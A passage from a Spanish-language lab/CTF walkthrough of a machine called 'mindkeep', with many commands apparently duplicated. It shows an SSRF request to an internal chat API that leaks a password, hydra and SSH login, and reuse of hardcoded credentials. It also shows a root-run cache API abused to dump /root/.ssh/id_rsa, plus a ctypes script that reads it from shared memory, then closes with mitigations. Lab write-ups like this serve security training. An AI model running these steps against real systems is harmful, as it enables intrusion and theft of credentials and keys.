}curl -sL 'http://mindkeep.thl/api/preprod-mindkeep-api-v2/shared-notes/load/?url=http://127.0.0.1:3333/api/chat' -H 'Cookie: session=<RECORTADO>' | jq
...
{
"Success": "{\"error\":\"user id not specified\"}\n"
}
Como los parámetros encontrados en la aplicación, variables, argumentos, estructura de base de datos, e incluso dentro del token de sesión se utiliza el nombre "user_id" para referirse a un identificador único de usuario, es posible que en esta API también se utilice así.
Tras definir este con un valor cualquiera, este parece devolver un mensaje de chat donde el departamento IT se pone en contacto con Jessy para facilitarle su nueva contraseña.
curl -sL 'http://mindkeep.thl/api/preprod-mindkeep-api-v2/shared-notes/load/?url=http://127.0.0.1:3333/api/chat?user_id=1' -H 'Cookie: session=<RECORTADO>' | jq
...
{
"Success": "{\"received_messages\":[{\"content\":\"Dear Jessy, This is a notification from the IT Department to inform you that your account password has been successfully changed. Your new password is: <RECORTADO> Please ensure that you keep this password confidential and do not share it with anyone. For security reasons, we recommend updating your password regularly and using a strong, unique password for your account. If you did not request this change or suspect any unauthorized activity, please contact the IT helpdesk immediately. Thank you, IT Department\",\"created_at\":\"2026-02-22T09:45:11.619277\",\"id\":1,\"receiver_id\":1,\"sender_id\":3}],\"sent_messages\":[],\"user_id\":\"1\"}\n"
}curl -sL 'http://mindkeep.thl/api/preprod-mindkeep-api-v2/shared-notes/load/?url=http://127.0.0.1:3333/api/chat?user_id=1' -H 'Cookie: session=<RECORTADO>' | jq
...
{
"Success": "{\"received_messages\":[{\"content\":\"Dear Jessy, This is a notification from the IT Department to inform you that your account password has been successfully changed. Your new password is: <RECORTADO> Please ensure that you keep this password confidential and do not share it with anyone. For security reasons, we recommend updating your password regularly and using a strong, unique password for your account. If you did not request this change or suspect any unauthorized activity, please contact the IT helpdesk immediately. Thank you, IT Department\",\"created_at\":\"2026-02-22T09:45:11.619277\",\"id\":1,\"receiver_id\":1,\"sender_id\":3}],\"sent_messages\":[],\"user_id\":\"1\"}\n"
}
Como anteriormente se ha podido comprobar con la vulnerabilidad LFI, Jessy tiene una cuenta de usuario registrada en el sistema con su mismo nombre. Tras probar las credenciales, parece que se reportan credenciales válidas sobre el servicio SSH.
hydra -l jessy -p '<RECORTADO>' ssh://10.0.250.27 -I -fhydra -l jessy -p '<RECORTADO>' ssh://10.0.250.27 -I -f
Por ello, es posible obtener acceso inicial como el usuario "jessy" a través del servicio SSH.
ssh jessy@10.0.250.27
yes (aceptar conexión sin comprobar autenticidad)
<introducir la contraseña descubierta>
whoami
id
hostnamessh jessy@10.0.250.27
yes (aceptar conexión sin comprobar autenticidad)
<introducir la contraseña descubierta>
whoami
id
hostname
Por último, es posible obtener la flag asociada a este usuario.
ls -al
cat user.txtls -al
cat user.txt
Escalada de privilegios (jessy -> it)
Tras investigar por recursos asociados al mismo grupo principal que el usuario "it", se detectan varios recursos que puede ser de interés investigar.
cat /etc/passwd | grep -i sh
find / -group it 2>/dev/null | grep -v /proc/cat /etc/passwd | grep -i sh
find / -group it 2>/dev/null | grep -v /proc/
Al revisar el primer directorio que se lista, se detecta el código fuente de una API desarrollada en Flask, aparentemente utilizada para gestionar memoria compartida utilizando la memoria RAM administrada por el kernel a modo de caché a través de un segmento de memoria compartida de System V.
Referencia (Módulo "sysv_ipc"): https://github.com/osvenskan/sysv_ipc
ls -al /opt/it_cache_testing
cat /opt/it_cache_testing/cache_api.pyReferencia (Módulo "sysv_ipc"): https://github.com/osvenskan/sysv_ipc
ls -al /opt/it_cache_testing
cat /opt/it_cache_testing/cache_api.py
Además, se puede comprobar que este es el servicio que corresponde con el encontrado anteriormente a la escucha a través del puerto 9999 y que además tiene un método para utilizar esta caché, conteniendo este unas credenciales en texto plano asociadas al usuario "it".
cat /opt/it_cache_testing/cache_api.py
...
if not (username == 'it' and password == '<RECORTADO>'):cat /opt/it_cache_testing/cache_api.py
...
if not (username == 'it' and password == '<RECORTADO>'):
Tras probar, resulta que estas credenciales se reutilizan para el usuario del sistema "it" y es posible acceder directamente como este.
su - it
(introducir la contraseña descubierta)
whoami
id
hostnamesu - it
(introducir la contraseña descubierta)
whoami
id
hostname
Escalada de privilegios (it -> root)
Tras volver a revisar la API que gestiona una caché mediante la memoria RAM, resulta que el último método revisado se encarga de almacenar temporalmente en esta caché el contenido de un archivo elegido.
No solo eso, sino que esta API se está ejecutando bajo el contexto del usuario "root", lo que significa que cualquiera que use esta API puede persistir en la caché cualquier archivo del sistema.
ps aux | grep -i cache_api
ls -al /opt/it_cache_testingps aux | grep -i cache_api
ls -al /opt/it_cache_testing
Otro hallazgo adicional realizado tras continuar enumerando el sistema es que el servidor SSH permite que el usuario "root" inicie sesión directamente a través de este servicio.
cat /etc/ssh/sshd_config | grep -i root
...
PermitRootLogin yescat /etc/ssh/sshd_config | grep -i root
...
PermitRootLogin yes
Esto significa que, en el caso de que la clave privada exista en su ubicación por defecto, es posible hacer que la caché la persista. Al probarlo se puede comprobar que existe y que la caché la ha persistido correctamente.
curl -s 'http://127.0.0.1:9999/api/it/cache/v1/shm_test/?username=it&password=<RECORTADO>&file=/root/.ssh/id_rsa'
...
{"file":"/root/.ssh/id_rsa","source":"fresh"}
curl -s 'http://127.0.0.1:9999/api/it/cache/v1/shm_test/?username=it&password=<RECORTADO>&file=/root/.ssh/id_rsa'
...
{"file":"/root/.ssh/id_rsa","source":"cache"}curl -s 'http://127.0.0.1:9999/api/it/cache/v1/shm_test/?username=it&password=<RECORTADO>&file=/root/.ssh/id_rsa'
...
{"file":"/root/.ssh/id_rsa","source":"fresh"}
curl -s 'http://127.0.0.1:9999/api/it/cache/v1/shm_test/?username=it&password=<RECORTADO>&file=/root/.ssh/id_rsa'
...
{"file":"/root/.ssh/id_rsa","source":"cache"}
A continuación se comprueba que efectivamente la persistencia de la cahé se realiza a través de un segmento de memoria compartida de System V.
ls -al /dev/shm
ipcs -mls -al /dev/shm
ipcs -m
En este punto, es necesario desarrollar un script en Python para leer el contenido escrito en la caché porque los segmentos de memoria compartida de System V no son archivos ni disponen de una utilidad estándar que permita leer directamente su contenido.
Nota importante: La librería "sysv_ipc" utilizada por la API para persistir la información en caché se puede utilizar también para leer su contenido. Sin embargo, no se encuentra disponible debido a un entorno virtual creado específicamente para la API y que se encuentra restringida al usuario "root". Por ello en este punto se decide investigar una alternativa que cumpla el objetivo intencionado, y centrado en librerías que puedan existir de forma nativa en una instalación de Python.
Se facilitan algunas de las referencias utilizadas.
Referencia (ctypes module): https://docs.python.org/3/library/ctypes.html
Referencia (System V shared memory operations): https://manpages.ubuntu.com/manpages/resolute/man2/shmop.2.html
Referencia (shmget): https://man7.org/linux/man-pages/man2/shmget.2.htmlReferencia (ctypes module): https://docs.python.org/3/library/ctypes.html
Referencia (System V shared memory operations): https://manpages.ubuntu.com/manpages/resolute/man2/shmop.2.html
Referencia (shmget): https://man7.org/linux/man-pages/man2/shmget.2.htmlEl script resultante es el siguiente:
# read_shm_cache.py
# Importar la librería para llamar a funciones C del sistema
import ctypes
# Herramienta para encontrar la librería estándar C
import ctypes.util
# Cargar libc (librería C del sistema)
libc = ctypes.CDLL(ctypes.util.find_library("c"), use_errno=True)
# Clave hexadecimal del segmento (en este caso, 0x00005353)
key = 0x00005353
# Obtener el ID del segmento de memoria compartida
shmid = libc.shmget(key, 0, 0)
# Verificar si hubo error al obtener el segmento
if shmid < 0:
raise OSError(f"Error shmget: {ctypes.get_errno()}")
# Definir que shmat devuelve un puntero
libc.shmat.restype = ctypes.c_void_p
# Adjuntar el segmento a la memoria del proceso
addr = libc.shmat(shmid, None, 0)
# Verifica si falló la adjunción
if addr == -1:
raise OSError(f"Error shmat: {ctypes.get_errno()}")
try:
# Lee el segmento completo (aunque esté vacío)
data = ctypes.string_at(addr, 65536)
# Muestra los datos leídos
print(data)
finally:
# Separar el segmento al terminar
libc.shmdt(addr)# read_shm_cache.py
# Importar la librería para llamar a funciones C del sistema
import ctypes
# Herramienta para encontrar la librería estándar C
import ctypes.util
# Cargar libc (librería C del sistema)
libc = ctypes.CDLL(ctypes.util.find_library("c"), use_errno=True)
# Clave hexadecimal del segmento (en este caso, 0x00005353)
key = 0x00005353
# Obtener el ID del segmento de memoria compartida
shmid = libc.shmget(key, 0, 0)
# Verificar si hubo error al obtener el segmento
if shmid < 0:
raise OSError(f"Error shmget: {ctypes.get_errno()}")
# Definir que shmat devuelve un puntero
libc.shmat.restype = ctypes.c_void_p
# Adjuntar el segmento a la memoria del proceso
addr = libc.shmat(shmid, None, 0)
# Verifica si falló la adjunción
if addr == -1:
raise OSError(f"Error shmat: {ctypes.get_errno()}")
try:
# Lee el segmento completo (aunque esté vacío)
data = ctypes.string_at(addr, 65536)
# Muestra los datos leídos
print(data)
finally:
# Separar el segmento al terminar
libc.shmdt(addr)Al ejecutar este script, esto resulta en obtener el contenido íntegro de la caché, de la cual se puede obtener la clave privada del usuario "root" persistida utilizando la API para acceder a través de SSH.
nano read_shm_cache.py
python3 read_shm_cache.pynano read_shm_cache.py
python3 read_shm_cache.py
En este punto es posible aprovechar esta clave privada para acceder a través de SSH como el usuario "root".
mousepad root-id_rsa (pegar, tratar y guardar la clave privada extraída)
chmod 600 root-id_rsa
ssh -i root-id_rsa root@10.0.250.27
whoami
id
hostnamemousepad root-id_rsa (pegar, tratar y guardar la clave privada extraída)
chmod 600 root-id_rsa
ssh -i root-id_rsa root@10.0.250.27
whoami
id
hostname
Por último, es posible obtener la flag asociada a este usuario.
ls -al
cat root.txtls -al
cat root.txt
En este punto, al haber obtenido acceso a la cuenta "root", se ha conseguido obtener los máximos privilegios posibles sobre el sistema objetivo (este laboratorio).
BONUS 1: Detección del bot administrador
Tras revisar el directorio principal del usuario "it", se detecta el script encargado de realizar la automatización del usuario administrador para que el vector de ataque definido en la parte de la web funcione. Se puede comprobar que aprovecha Selenium para poder llevar a cabo esta tarea.
En resumen, Selenium es una herramienta utilizada para automatizar la navegación e interacción con aplicaciones web. Permite realizar acciones como abrir páginas, completar formularios, hacer click en elementos, ejecutar scripts y extraer información, por lo que se emplea principalmente en pruebas automatizadas, web scraping, automatización de tareas repetitivas en el navegador o para definir pruebas funcionales (Automated Functional Tests).
Además, en este se puede encontrar las credenciales en texto plano del usuario administrador para poder realizar la automatización de acceso al panel y revisión de tickets correspondiente.
cd /home/it
cat .bot/bot.pycd /home/it
cat .bot/bot.py
BONUS 2: Leyendo la memoria caché utilizando la librería "sysv_ipc" como "root"
En este apartado se prueba que utilizando la misma librería de la API es también posible leer de la misma forma la memoria caché aprovechando el entorno virtual de Python existente para esta.
Lo primero es disponer del script a ejecutar utilizando esta librería. El script resultante es el siguiente:
# read_shm_cache.py
import sysv_ipc
# Clave hexadecimal del segmento (en este caso, 0x00005353)
KEY = 0x00005353
# Conectarse al segmento existente
shm = sysv_ipc.SharedMemory(KEY)
# Leer todo el contenido del segmento
data = shm.read()
# Imprimir el contenido del segmento
print(data)# read_shm_cache.py
import sysv_ipc
# Clave hexadecimal del segmento (en este caso, 0x00005353)
KEY = 0x00005353
# Conectarse al segmento existente
shm = sysv_ipc.SharedMemory(KEY)
# Leer todo el contenido del segmento
data = shm.read()
# Imprimir el contenido del segmento
print(data)Una vez creado, se activa el entorno virtual de Python utilizado por la API y se ejecuta el script. De esta forma se consigue leer la memoria caché de la misma forma que con el script anterior, con la diferencia de que se utiliza la misma librería y el script resultante es más limpio y directo.
nano read_shm_cache.py
cat read_shm_cache.py
source /opt/it_cache_testing/.venv/bin/activate
python3 read_shm_cache.pynano read_shm_cache.py
cat read_shm_cache.py
source /opt/it_cache_testing/.venv/bin/activate
python3 read_shm_cache.py
Punto adicional a tener en cuenta: Otra alternativa que se descubrió después, consiste en que desde un usuario con bajos privilegios es posible crear un entorno virtual de Python propio desde el cual se instale de manera manual la librería "sysv_ipc" siguiendo las instrucciones indicadas en su repositorio de GitHub utilizando el código fuente directamente. De esta forma se podría utilizar este último script para leer la memoria caché directamente, tal y como se ha mostrado en este apartado.
Mitigaciones a aplicar
- Para prevenir las vulnerabilidades web presentes en este laboratorio, recurrir a las referencias facilitadas, ya que ofrecen medidas mitigatorias efectivas, probadas y verificadas por la comunidad.
- Almacenar la información sensible de forma segura (por ejemplo, utilizando gestores de contraseñas), evitando que esta pueda ser accedida por usuarios no autorizados. Evitar mostrar en la web o "hardcodear" en código credenciales en recursos accesibles o que potencialmente puedan acabar publicados.
- Ajustarse al principio de privilegio mínimo y exponer servicios con cuentas del sistema dedicadas para este fin.
- Ajustarse al principio de privilegio mínimo y conceder a los usuarios del sistema única y exclusivamente los privilegios que vayan a necesitar. Aplica de la misma forma para recursos del sistema y sus permisos. Recomendación: existen guías de hardening como "CIS Benchmarks" para aplicar buenas prácticas y asegurar entre otras cosas, los permisos para distintos tipos de software y sistemas expuestos en Internet.
¿Te gustó esta publicación? Sígueme y descubre más en mi blog principal: https://pyth0nk1d.medium.com